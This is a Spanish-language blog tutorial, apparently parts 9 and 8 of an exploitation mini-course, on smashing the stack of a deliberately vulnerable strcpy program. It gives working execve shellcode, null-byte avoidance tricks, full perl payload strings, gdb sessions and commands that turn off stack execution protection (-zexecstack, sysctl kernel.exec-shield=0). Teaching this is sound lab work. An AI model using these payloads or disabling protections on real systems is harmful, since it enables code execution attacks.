lunes, 10 de septiembre de 2012

Minicurso de exploiting (parte 9): Inyectando código en un proceso

En la entrada anterior descubrimos gran parte del pastel que hay detrás de la explotación de los procesos. La gran conclusión fue que, si tenemos un bof, podremos sobreescribir la dirección de retorno contenida en el stack frame. Evidentemente no es algo tan sencillo en el mundo real, existen muchas protecciones que actualmente se aplican y que están orientadas únicamente a evitar la explotación de buffer overflows. Hemos comentado algunas (canaries, exec-shield, aslr...), incluso llegamos a ver que el GCC de Ubuntu utilizaba por defecto la técnica de stack-protector basada en canaries.

Es bastante jodido intentar meterse en el mundo del exploiting por cuenta propia con toda esa cantidad de protecciones usándose a la vez, y ese es precisamente uno de los principales motivos por los que estoy haciendo este curso y cómo lo estoy enfocando. Intento ir desde cómo se explotaban los programas hace años e intentaré llegar a cómo se explotan actualmente (dentro de los límites de lo que yo mismo conozco... espero que escribir esto me anime a seguir aprendiendo).

Volviendo al curso, en la última entrega hicimos algo muy simple, ejecutar una función que ya estaba en el código. Evidentemente esto no suele ser lo normal, no solemos disponer de lo que queremos ejecutar en el código de los programas. Es muy típico entre los exploiters más reconocidos del mundo hacer que sus exploits de demostración ejecuten la calculadora de Windows (cuando explotan sobre Windows claro). Ya nos estaremos imaginando que esto no es algo que lleven los programas metidos dentro, sino que de alguna forma el exploiter logra hacer que el programa explotado haga eso. Esto se consigue inyectando el código que hace ejecutar la calculadora dentro del proceso y luego llamando a ese código. ¿Y cómo se hace esto? Eso es lo que vamos a tratar en esta entrada.

Recordemos en qué punto estamos.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[128];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

Tenemos el bof de libro y sabemos que a partir del byte 141 empezaremos a sobreescribir la dirección de retorno (y si no nos acordamos pues lo miramos un momentito con el gdb y listo). Hasta ahora habíamos metido un montón de Aes hasta llegar a la dirección de retorno, pero esto cambia aquí. Ahora lo que vamos a hacer es inyectar en ese espacio el código necesario para ejecutar la calculadora y luego saltaremos ahí. Esto básicamente en la inyección de código.

¿Qué necesitamos? Bueno, pues el código que ejecute la calculadora. ¿Qué hace falta para ejecutar un programa? la llamada al sistema que lo permite, en nuestro caso es sys_execve. Nuevo grado de dificultad, ahora hay que empezar a conocer las syscalls y cómo llamarlas. Generalmente no llamamos a estas funciones directamente, sino que llamamos a funciones de bibliotecas que hacen de interfaz entre nuestros programas y el sistema. Bueno pues vamos a dejar de hacer eso por un momento y vamos a crear código que trata con el kernel directamente. Esto lo hacemos así debido a que, como vamos a inyectar ese código en otro proceso, no sabemos que bibliotecas usa y por lo tanto no podemos depender de ellas... aunque en un futuro veremos que no siempre es cierto, pero de momento vamos a trabajar así.

Para tratar con estas cosas necesitamos conocer las llamadas al sistema que nos ofrece Linux, aquí teneis una lista con las más importantes, aunque los parámetros que ahí se describen no siempre son correctos. De hecho para este primer ejemplo nos puede confundir. La llamada al sistema que necesitamos es sys_execve (la que ejecuta programas), en esa página pone que tiene un único parámetro de tipo struct pt_regs. Si nos vamos a Linux cross reference, en mi opinión, muy buena para ver el código fuente de Linux y buscamos la función sys_execve() para la versión de kernel que estoy ejecutando.

$ uname -r
3.2.0-29-generic-pae

Veremos lo siguiente.
 306long sys_execve(const char __user *name,
 307                const char __user *const __user *argv,
 308                const char __user *const __user *envp, struct pt_regs *regs)
 309{

Tiene 3 parámetros antes del struct pt_regs, la ruta del programa a ejecutar, los parámetros del mismo y el entorno. Vamos a ir conociendo qué debemos pasarle.

$ whereis gcalccmd
gcalccmd: /usr/bin/gcalccmd /usr/bin/X11/gcalccmd /usr/share/man/man1/gcalccmd.1.gz

El binario del programa está en /usr/bin/gcalccmd. He elegido este y no gcalctool (la versión gráfica) porque voy a hacer el ejemplo lo más sencillo posible, así que a la hora de ejecutar no pasaré entorno y eso dará problemas con la versión gráfica, así que me quedo con la de consola. Empecemos pues con el programa (en ensamblador :D) que ejecuta la calculadora.

.globl main

main:
    /* 
     * No sabemos la dirección de la string del final,
     * lo rellenamos con 0xff y luego miraremos dónde cae.
     */
    movl $0xffffffff, %ebx

    /* argv, envp y regs == NULL. */
    xorl %ecx, %ecx
    xorl %edx, %edx
    xorl %esi, %esi

    /* Hacemos la llamada a sys_execve. */
    movb $0xb, %al
    int $0x80

.string "/usr/bin/gcalccmd"

Aquí tenemos un ejemplo de programa en ensamblador (sintaxis AT&T) que nos sirve como esqueleto para ejecutar la calculadora. Analicémoslo un poco. Lo primero que hacemos es poner en el registro ebx el número 0xffffffff. Ebx debe contener la dirección de la string con el nombre del programa, esta string la estamos hardcodeando al final, pero dado que todo esto va a estar dentro del buffer que vamos a explotar ¡aun no sabemos la dirección exacta donde cae!. Adelanto que luego lo miraremos con el gdb. Luego se ponen a 0 los registros ecx, edx y esi (los otros 3 parámetros de sys_execve), recordemos que la operación XOR de un número consigo mismo da como resultado 0 siempre. Al final preparamos la llamada al sistema. Debido a como funcionan las llamadas al sistema en Linux (no lo explicaré aquí porque sería irse por derroteros complicados), en eax va el número de llamada al sistema a ejecutar, en nuestro caso la 11 (0xb) que es sys_execve, y la instrucción int 0x80 la ejecuta.

Esto así está muy bien, pero lo que nosotros necesitamos son los bytes que encodean ese código para meterlo en el buffer a explotar. Aquí entra en juego objdump, ¿recuerdas cómo desambla? :D.

$ gcc -o calcode calcode.s 
$ objdump -d calcode | egrep -A 10 "<main>"
080483b4 <main>:
 80483b4:    bb ff ff ff ff           mov    $0xffffffff,%ebx
 80483b9:    31 c9                    xor    %ecx,%ecx
 80483bb:    31 d2                    xor    %edx,%edx
 80483bd:    31 f6                    xor    %esi,%esi
 80483bf:    b0 0b                    mov    $0xb,%al
 80483c1:    cd 80                    int    $0x80
 80483c3:    2f                       das   
 80483c4:    75 73                    jne    8048439 <__libc_csu_init+0x59>
 80483c6:    72 2f                    jb     80483f7 <__libc_csu_init+0x17>
 80483c8:    62 69 6e                 bound  %ebp,0x6e(%ecx)

Aquí tenemos los bytes que codifican las instrucciones que necesitamos :D. Una duda que nos puede surgir aquí es ¿wtf son las instrucciones esas después de la int, la das, jne, etc? Seguro que ya lo sabes, esas instrucciones son las que interpreta objdump a partir de los bytes 0x2f, 0x75, 0x73 que hay ahí... y que en ASCII son los caracteres '/', 'u', 's'... lo has visto ya, ¿no?. "/usr/bin/gcalccmd" ;).

Ojo aquí, podemos pensar que ya podemos sustituir el 0xffffffff de ebx con la dirección 0x08483c3, que es donde empieza la string "/usr...", pero no es así. Esa dirección es donde está la string dentro del ELF que acabamos de compilar, pero no es ahí donde va a estar el código. Repito, estos bytes los inyectaremos ahora en el programa vulnerable dentro del buffer a explotar, y eso estará en otras posiciones de memoria.

Vamos ahora a hacer la explotación, inyección y ejecución del código. Vamos a verlo desde dentro del gdb y de poco en poco.

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048444 <+0>:    push   %ebp
   0x08048445 <+1>:    mov    %esp,%ebp
   0x08048447 <+3>:    and    $0xfffffff0,%esp
   0x0804844a <+6>:    sub    $0x90,%esp
   0x08048450 <+12>:    cmpl   $0x2,0x8(%ebp)
   0x08048454 <+16>:    je     0x8048478 <main+52>
   0x08048456 <+18>:    mov    0xc(%ebp),%eax
   0x08048459 <+21>:    mov    (%eax),%edx
   0x0804845b <+23>:    mov    $0x8048570,%eax
   0x08048460 <+28>:    mov    %edx,0x4(%esp)
   0x08048464 <+32>:    mov    %eax,(%esp)
   0x08048467 <+35>:    call   0x8048340 <printf@plt>
   0x0804846c <+40>:    movl   $0xffffffff,(%esp)
   0x08048473 <+47>:    call   0x8048370 <exit@plt>
   0x08048478 <+52>:    mov    0xc(%ebp),%eax
   0x0804847b <+55>:    add    $0x4,%eax
   0x0804847e <+58>:    mov    (%eax),%eax
   0x08048480 <+60>:    mov    %eax,0x4(%esp)
   0x08048484 <+64>:    lea    0x10(%esp),%eax
   0x08048488 <+68>:    mov    %eax,(%esp)
   0x0804848b <+71>:    call   0x8048350 <strcpy@plt>
   0x08048490 <+76>:    mov    $0x0,%eax
   0x08048495 <+81>:    leave 
   0x08048496 <+82>:    ret   
End of assembler dump.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) run `perl -e 'print "\xbb\xff\xff\xff\xff\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\xee\xee\xee\xee"'`
Starting program: /path/bof `perl -e 'print "\xbb\xff\xff\xff\xff\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\xee\xee\xee\xee"'`

Breakpoint 1, 0x0804848b in main ()

Sí, escribir ese chorro de bytes ha resultado un coñazo. Ya mostraré más adelante truquillos para no perder tanto tiempo, pero hay que hacerlo una primera vez para ver lo que estamos haciendo. Dado que necesitamos 140 bytes antes de empezar a sobreescribir la dirección de retorno (la cuál ahora mismo no sabemos cual es así que he puesto 0xeeeeeeee), y que el código que queremos ejecutar ocupa sólo 33 bytes (incluyendo string) pues he rellenado con 107 Aes. He parado el programa justo antes del strcpy() para ver las direcciones que tenemos que cambiar.

(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff560    0x00000001    0xb7ebc1f9
0xbffff290:    0xbffff2cf    0xbffff2ce    0x00000000    0xb7ff3fdc
0xbffff2a0:    0xbffff354    0x00000000    0x00000000    0xb7e59053
0xbffff2b0:    0x08048278    0x00000000    0x2cb43049    0x00000001
0xbffff2c0:    0xbffff539    0x0000002f    0xbffff31c    0xb7fc6ff4
0xbffff2d0:    0x080484a0    0x08049ff4    0x00000002    0x0804831d
0xbffff2e0:    0xb7fc73e4    0x0000000a    0x08049ff4    0x080484c1
0xbffff2f0:    0xffffffff    0xb7e591a6    0xb7fc6ff4    0xb7e59235
0xbffff300:    0xb7fed270    0x00000000    0x080484a9    0xb7fc6ff4
0xbffff310:    0x080484a0    0x00000000    0x00000000    0xb7e3f4d3

El buffer se encuentra en la dirección 0xbffff290, ahí es donde se inyectará nuestro código. Es ahora cuando calculamos en dónde va a caer "/usr/bin/gcalccmd", esta string tiene 15 bytes de desplazamiento con respecto al primer byte de nuestro código, así que caerá en 0xbffff290 + 0xf = 0xbffff29f. Ya tenemos las dos direcciones que nos hacen falta, la de la string y la de comienzo del código, volvamos a ejecutar el programa cambiando esos valores.

(gdb) run `perl -e 'print "\xbb\x9f\xf2\xff\xbf\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\x90\xf2\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /path/bof `perl -e 'print "\xbb\x9f\xf2\xff\xbf\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\x90\xf2\xff\xbf"'`

Breakpoint 1, 0x0804848b in main ()

Ojo con el orden de los bytes, recuerda que estamos en x86 que es little endian. Lo vimos en la entrada anterior.

(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff560    0x00000001    0xb7ebc1f9
0xbffff290:    0xfff29fbb    0x31c931bf    0xb0f631d2    0x2f80cd0b
0xbffff2a0:    0x2f727375    0x2f6e6962    0x6c616367    0x646d6363
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff300:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff310:    0x41414141    0x41414141    0x90414141    0x00bffff2

Aquí ya se ha realizado el strcpy(), y sin necesidad de seguir ejecutando deberíamos darnos cuenta de que la ejecución no va a funcionar. La dirección de retorno ha sido modificada por 0x00bffff2 y no por 0xbffff290 como queríamos. El siguiente paso más lógico sería pensar que soy un paquete y no se restar bien, lo cual no deja de ser cierto, pero no es eso lo que está pasando. Lo que de verdad nos está ocurriendo es que perl se nos está comiendo un byte (y con razón, que conste). Cuando hemos ejecutado el comando estamos haciendo concatenaciones de strings (operador '.'), la primera string (que contiene el código y "/usr/bin..." todo seguido) termina en '\x00', caracter terminador de strings y que a la hora de concatenar será pisado por el primer caracter de la siguiente string, una 'A'. Fijémonos justo donde empiezan a haber Aes (byte 0x41) y veremos que efectivamente no aparece el byte 0x00, está resaltado en violeta.

Podemos pensar en meter 108 Aes para conseguir un byte más y que así la dirección de retorno sea la que queremos, pero esto tampoco nos vale. Es cierto que así conseguiríamos saltar al código y empezar a ejecutarlo, pero entonces la string que le pasaríamos a sys_exeve no sería "/usr/bin/gcalccmd" sino "/usr/bin/gcalccmd<108 Aes><4 bytes de basura>". Sobra decir que no tenemos un binario llamado así.

Aquí tenemos dos soluciones (que se me ocurran), una es crear un enlace simbólico a gcalccmd con el nombre extraño que hemos descrito. Sobra decir que esta solución es feísima y poco práctica, pero sobre todo feísima. La otra solución es meter en nuestro código lógica adicional para que nos ponga un byte 0x00 justo donde queremos. Mucho más elegante. Volvamos entonces a nuestro pequeño programa en ensamblador y modifiquémoslo para este cometido.

.globl main

main:
    /* Poner un nulo al final de la string. */
    movb $0x00, (0xdddddddd)

    /*
     * No sabemos la direccion de la string del final,
     * lo rellenamos con 0xff y luego miraremos donde cae.
     */
    movl $0xffffffff, %ebx

    /* argv, envp y regs == NULL. */
    xorl %ecx, %ecx
    xorl %edx, %edx
    xorl %esi, %esi

    /* Hacemos la llamada a sys_execve. */
    movb $0xb, %al
    int $0x80

.string "/usr/bin/gcalccmd"

Ya lo tenemos, simplemente ponemos un 0 en la zona de memoria apuntada por 0xdddddddd, que luego cambiaremos por la dirección de verdad. Volvemos a mirar con objdump los bytes de nuestro código.

$ gcc -o calcode calcode.s 
$ objdump -d calcode | egrep -A 20 "<main>"
080483b4 <main>:
 80483b4:    c6 05 dd dd dd dd 00     movb   $0x0,0xdddddddd
 80483bb:    bb ff ff ff ff           mov    $0xffffffff,%ebx
 80483c0:    31 c9                    xor    %ecx,%ecx
 80483c2:    31 d2                    xor    %edx,%edx
 80483c4:    31 f6                    xor    %esi,%esi
 80483c6:    b0 0b                    mov    $0xb,%al
 80483c8:    cd 80                    int    $0x80
 80483ca:    2f                       das   
 80483cb:    75 73                    jne    8048440 <__libc_csu_init+0x60>
 80483cd:    72 2f                    jb     80483fe <__libc_csu_init+0x1e>
 80483cf:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483d2:    2f                       das  
 80483d3:    67 63 61 6c              arpl   %sp,0x6c(%bx,%di)
 80483d7:    63 63 6d                 arpl   %sp,0x6d(%ebx)
 80483da:    64 00 90 90 90 90 90     add    %dl,%fs:-0x6f6f6f70(%eax)

Y ahora volvemos al gdb, escribimos el chorizaco con perl y ejecutamos, ¿no?. ¡Pues no! ¿No ves que tenemos el mismo problema de antes?, la nueva instrucción que hemos metido tiene un byte 0x00 en sí misma (debido al literal $0x0 que usa) con lo cual perl volvería a hacernos lo mismo que antes y esta vez se estropearía todo porque ahí acabaría el byte 0xbb de la siguiente instrucción, con lo que se partiría la instrucción y a saber que se acabaría ejecutando. ¿Vas viendo a dónde estoy llegando?. No podemos utilizar el byte 0x00 en nuestro código, y no sólo porque perl al concatenar se lo coma (eso podemos evitarlo), sino porque la función que vamos a explotar es strcpy(), esta función sólo copia hasta que encuentra el byte de terminación de la string, es decir el byte 0x00. Este es el gran motivo de por qué los programas que inyectamos deben evitar usar el byte 0x00, porque entonces no se pueden inyectar con el strcpy().

Tenemos que buscar entonces una forma de conseguir poner donde queremos un byte 0x00 pero que el código no use bytes 0x00. Lo cierto es que me lo había callado, pero ya he aplicado esta técnica en este mismo código. Cuando lo empezamos a escribir comenté que ecx, edx y esi iban a apuntar a NULL. NULL no es más que una macro para 0x00000000 y la forma en que puse a 0 estos registros fue mediante una operación XOR con ellos mismos. Seguro que muchos pensaron en hacer "movl $0x0, %ecx", pero lo cierto es que eso introduciría caracteres nulos, sin embargo como podemos observar, con instrucciones xor no ocurre ;). Volvamos a dar una vuelta de tuerca más al código.

.globl main

main:
    /* Poner un nulo al final de la string... sin usar nulos ;). */
    xorl %ecx, %ecx
    movb %cl, (0xdddddddd)


    /*
     * No sabemos la direccion de la string del final,
     * lo rellenamos con 0xff y luego miraremos donde cae.
     */
    movl $0xffffffff, %ebx

    /* argv, envp y regs == NULL. */
    xorl %edx, %edx
    xorl %esi, %esi

    /* Hacemos la llamada a sys_execve. */
    movb $0xb, %al
    int $0x80

.string "/usr/bin/gcalccmd"

$ gcc -o calcode calcode.s 
$ objdump -d calcode | egrep -A 20 "<main>"
080483b4 <main>:
 80483b4:    31 c9                    xor    %ecx,%ecx
 80483b6:    88 0d dd dd dd dd        mov    %cl,0xdddddddd

 80483bc:    bb ff ff ff ff           mov    $0xffffffff,%ebx
 80483c1:    31 d2                    xor    %edx,%edx
 80483c3:    31 f6                    xor    %esi,%esi
 80483c5:    b0 0b                    mov    $0xb,%al
 80483c7:    cd 80                    int    $0x80
 80483c9:    2f                       das   
 80483ca:    75 73                    jne    804843f <__libc_csu_init+0x5f>
 80483cc:    72 2f                    jb     80483fd <__libc_csu_init+0x1d>
 80483ce:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483d1:    2f                       das   
 80483d2:    67 63 61 6c              arpl   %sp,0x6c(%bx,%di)
 80483d6:    63 63 6d                 arpl   %sp,0x6d(%ebx)
 80483d9:    64 00 90 90 90 90 90     add    %dl,%fs:-0x6f6f6f70(%eax)


Y ahora sí, ya no tenemos ningún byte nulo en nuestro código. Vayamos al gdb, miremos las direcciones donde se va a ejecutar, cambiemos las 3 que debemos y probemos.

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) run `perl -e 'print "\x31\xc9\x88\x0d\xdd\xdd\xdd\xdd\xbb\xff\xff\xff\xff\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\xee\xee\xee\xee"'`
Breakpoint 1, 0x0804848b in main ()

Nótese que la cantidad de bytes que ocupa el código ha crecido y por lo tanto hacen falta menos Aes para rellenar.

(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff55f    0x00000001    0xb7ebc1f9
0xbffff290:    0x0d88c931    0xdddddddd    0xffffffbb    0x31d231ff
0xbffff2a0:    0xcd0bb0f6    0x73752f80    0x69622f72    0x63672f6e
0xbffff2b0:    0x63636c61    0x4141646d    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff300:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff310:    0x41414141    0x41414141    0x41414141    0xeeeeeeee

Podemos apreciar que ahora la sobreescritura de la dirección de retorno es correcta, a falta de poner la verdadera dirección. Calculamos las 3 direcciones que necesitamos y volvemos a ejecutar sustituyendo los bytes necesarios.

(gdb) run `perl -e 'print "\x31\xc9\x88\x0d\xb6\xf2\xff\xbf\xbb\xa5\xf2\xff\xbf\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\x90\xf2\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /path/bof `perl -e 'print "\x31\xc9\x88\x0d\xb6\xf2\xff\xbf\xbb\xa5\xf2\xff\xbf\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\x90\xf2\xff\xbf"'`
Breakpoint 1, 0x0804848b in main ()
(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff55f    0x00000001    0xb7ebc1f9
0xbffff290:    0x0d88c931    0xbffff2b6    0xfff2a5bb    0x31d231bf
0xbffff2a0:    0xcd0bb0f6    0x73752f80    0x69622f72    0x63672f6e
0xbffff2b0:    0x63636c61    0x4141646d    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff300:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff310:    0x41414141    0x41414141    0x41414141    0xbffff290

Vemos que efectivamente se ha sobreescrito la dirección de retorno con la dirección de comienzo del buffer... donde se encuentra nuestro código inyectado }:-). Continuemos.

(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff290 in ?? ()

¡ZAS, EN TODA LA BOCA!. Tómate un momento de relax si lo necesitas, aquí tienes unos puntos suspensivos para acompañar ..........., bueno ya esta bien de descanso. ¿Qué ha pasado aquí? Bueno, pues que nos hemos topado con otra de las protecciones contra la explotación de estas vulnerabilidades, exec-shield, bit nx, dep, w^x o como quieran llamarlo. Se trata de impedir la ejecución de código en zonas con permisos de escritura. Estamos inyectando este código dentro de la pila y por tanto estamos incurriendo en un acceso a memoria ilegal. Ya trataremos en otra entrada cómo saltarse esta protección, ahora lo que haremos será desactivarla ;)... o más bien activar la ejecución en la pila.

Al crear el ELF, automáticamente se le pide a la sección GNU_STACK que no tenga permisos de ejecución.

$ readelf -a bof | egrep "GNU_STACK"
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

Nótese que sólo tiene permisos de lectura y escritura. Lo que haremos será compilar pidiendo esos permisos.

$ gcc -fno-stack-protector -zexecstack -o bof bof.c
$ readelf -a bof | egrep "GNU_STACK"
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

Después de compilar con la opción -zexecstack vemos que la sección GNU_STACK pide permisos de ejecución además de lectura y escritura. En otros sistemas puede hacer falta desactivar un flag del kernel, el flag kernel.exec-shield en concreto. No es este caso, pero si estuvieramos en un sistema donde así fuera lo desactivaríamos con este comando.

$ sudo sysctl -w kernel.exec-shield=0

Cuidadito con esto que desactiva la protección en el sistema (aunque sólo hasta el reinicio).

Y volvamos a probar a ejecutar de nuevo mediante gdb. Voy directo hasta el último punto, parados justo después de ejecutar strcpy().

(gdb) cont
Continuing.
process 6366 is executing new program: /usr/bin/gcalccmd
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
> 1236 + 101
1337
> quit

[Inferior 1 (process 6366) exited normally]
(gdb)

Tachán! Ahí tenemos la ejecución de la calculadora :).

Y así es como la "ejecución arbitraria de código" se vuelve un poco menos arbitraria y por qué un bof puede ser tan peligroso. En otras entradas desarrollaremos programas más bonitos y útiles :).

Para terminar voy a hacer una autocritica sobre el código que estamos inyectando. Estoy intentando ir despacito, avanzando un escalón de dificultad en cada entrega, pero lo cierto es que esta vez me ha resultado muy difícil y no he podido evitarlo. No quería hablar aquí de las técnicas a tener en cuenta a la hora de escribir nuestros programas a inyectar (en este caso evitar usar bytes nulos), así que por ahora hemos estado mirando las direcciones que el programa necesita (dirección de la string con el nombre del programa, dirección donde comienza el buffer y por tanto el código inyectado...) desde dentro del gdb y en ningún momento he ejecutado por fuera. Si intentamos ejecutar desde el exterior lo más probable es que el programa pete y ya está. Ya veremos más adelante nuevas técnicas a la hora de escribir estos programas (que a partir de ahora vamos a llamar shellcodes porque ya me estoy rayando) y según las vayamos juntando ya veremos que vamos a explotar los programas sin necesidad de hacerlo desde dentro del gdb, pero hasta entonces paciencia.

Saludos.

lunes, 3 de septiembre de 2012

Minicurso de exploiting (parte 8): Aprovechándonos de un buffer overflow

En la última entrada vimos qué era una vulnerabilidad BoF y cómo hacer que el programa con ella incurriera en un acceso ilegal a memoria y fallara. Provocar esto en un programa que está orientado a dar un servicio (un servidor web por ejemplo) es una de las formas de provocar un DoS (Denial of Service). A veces un BoF sólo puede aprovecharse para provocar un DoS, pero otras veces se puede conseguir mucho más si se sabe cómo hacerlo. Ya hablamos en la entrada anterior de que en el caso más extremo un BoF puede acabar con la ejecución arbitraria de código... o no tan arbitrario. En esta entrada vamos a hablar de ello. Vamos a enseñar cómo, a partir de un BoF, podemos conseguir ejecutar código y conseguir cosas graciosas.

Volvamos a ver un programa con un BoF de libro.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int saludar() {
    printf("Hola BoF\n");
    exit(0);
}

int main(int argc, char *argv[]) {
    char buffer[128];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

En buffer se copia el primer parámetro pasado al programa, si este parámetro es mayor de 128 bytes habrá sobreescritura. Veámoslo.

$ ./bof2 hola
$ ./bof2 `perl -e 'print "A"x128'`
$ ./bof2 `perl -e 'print "A"x140'`
Violación de segmento

Aunque haya sobreescritura a partir de 128, el programa no explota hasta los 140 bytes. Veamos por qué, aunque estoy seguro que ya puedes intuirlo.

$ gdb -q bof2
Leyendo sí­mbolos desde /path/bof2...(no se encontraron sí­mbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x08048472 <+0>:    push   %ebp
   0x08048473 <+1>:    mov    %esp,%ebp
   0x08048475 <+3>:    and    $0xfffffff0,%esp
   0x08048478 <+6>:    sub    $0x90,%esp
   0x0804847e <+12>:    cmpl   $0x2,0x8(%ebp)
   0x08048482 <+16>:    je     0x80484a6 <main+52>
   0x08048484 <+18>:    mov    0xc(%ebp),%eax
   0x08048487 <+21>:    mov    (%eax),%edx
   0x08048489 <+23>:    mov    $0x8048599,%eax
   0x0804848e <+28>:    mov    %edx,0x4(%esp)
   0x08048492 <+32>:    mov    %eax,(%esp)
   0x08048495 <+35>:    call   0x8048364 <printf@plt>
   0x0804849a <+40>:    movl   $0xffffffff,(%esp)
   0x080484a1 <+47>:    call   0x8048384 <exit@plt>
   0x080484a6 <+52>:    mov    0xc(%ebp),%eax
   0x080484a9 <+55>:    add    $0x4,%eax
   0x080484ac <+58>:    mov    (%eax),%eax
   0x080484ae <+60>:    mov    %eax,0x4(%esp)
   0x080484b2 <+64>:    lea    0x10(%esp),%eax
   0x080484b6 <+68>:    mov    %eax,(%esp)
   0x080484b9 <+71>:    call   0x8048354 <strcpy@plt>
   0x080484be <+76>:    mov    $0x0,%eax
   0x080484c3 <+81>:    leave 
   0x080484c4 <+82>:    ret   
End of assembler dump.
(gdb) br *main+71
Punto de interrupción 1 at 0x80484b9
(gdb) run `perl -e 'print "A"x128'`
Starting program: /path/bof2 `perl -e 'print "A"x128'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff260:    0xbffff270    0xbffff554    0x00119b82    0xbffff314
0xbffff270:    0x080481cc    0xbffff308    0x0012da74    0x00000000
0xbffff280:    0xb7fffb28    0x00000001    0x00000000    0x00000001
0xbffff290:    0x0012d918    0x00000001    0x00008000    0x00287ff4
0xbffff2a0:    0x00237e79    0x0015e785    0xbffff2b8    0x00145ae5
0xbffff2b0:    0x00000000    0x08049ff4    0xbffff2c8    0x08048320
0xbffff2c0:    0x0011eb60    0x08049ff4    0xbffff2f8    0x080484f9
0xbffff2d0:    0x00288324    0x00287ff4    0x080484e0    0xbffff2f8
0xbffff2e0:    0x0015e985    0x0011eb60    0x080484eb    0x00287ff4
0xbffff2f0:    0x080484e0    0x00000000    0xbffff378    0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff260:    0xbffff270    0xbffff554    0x00119b82    0xbffff314
0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x08048400    0x00000000    0xbffff378    0x00145ce7

Usaré los mismos colores y patrones de la entrada anterior, y probablemente los seguiré usando el resto del curso.

Podemos apreciar dónde se encuentra buffer dentro del stack frame de main(), en esta ejecución hemos sobreescrito un byte más allá del límite del buffer, pero lo cambiado es un valor que no afecta al resto de la ejecución del programa. Veamos ahora por qué cuando al programa le pasamos 141 bytes sí explota.

